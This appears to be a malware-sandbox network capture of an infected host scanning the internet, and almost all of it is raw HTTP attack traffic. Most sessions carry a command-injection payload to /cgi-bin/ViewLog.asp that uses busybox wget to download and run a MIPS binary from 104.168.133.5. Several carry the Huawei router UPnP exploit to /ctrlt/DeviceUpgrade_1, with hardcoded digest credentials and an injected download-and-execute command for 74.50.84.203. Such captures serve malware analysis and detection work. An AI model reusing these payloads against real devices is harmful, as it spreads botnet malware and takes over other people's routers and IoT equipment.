Nov 23, 2023 05:18:10.854180098 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
597	192.168.2.13	39632	62.97.41.217	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.879792929 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.081830025 CET	567	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 23 Nov 2023 04:17:53 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 35 30 33 2e 20 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><hr><p>HTTP Error 503. The service is unavailable.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
598	192.168.2.13	60052	94.123.244.17	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.912030935 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
599	192.168.2.13	37346	94.187.109.208	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.913249016 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
600	192.168.2.13	54342	95.86.124.117	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:52.952809095 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
601	192.168.2.13	40746	95.86.115.28	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:53.001646996 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
602	192.168.2.13	38326	94.72.88.107	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:53.166717052 CET	194	IN	HTTP/1.1 403 Forbidden Content-Type: text/html;charset=UTF-8 Content-Length: 0 Connection: close Cache-control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
603	192.168.2.13	55378	85.122.199.225	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:53.709769964 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:54.886236906 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:56.262237072 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
604	192.168.2.13	42460	94.122.194.191	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:53.709836960 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
605	192.168.2.13	47120	61.139.119.219	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:53.796077013 CET	233	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 34 37 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:47Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
606	192.168.2.13	47506	156.226.11.90	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:54.083146095 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:58.310225010 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:04.454384089 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:16.486190081 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
607	192.168.2.13	47588	61.139.119.219	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:54.507694006 CET	233	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 34 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:48Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
608	192.168.2.13	42702	94.123.184.101	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:54.635818958 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
609	192.168.2.13	49184	156.253.33.28	37215

Timestamp	Bytes transferred	Direction	Data
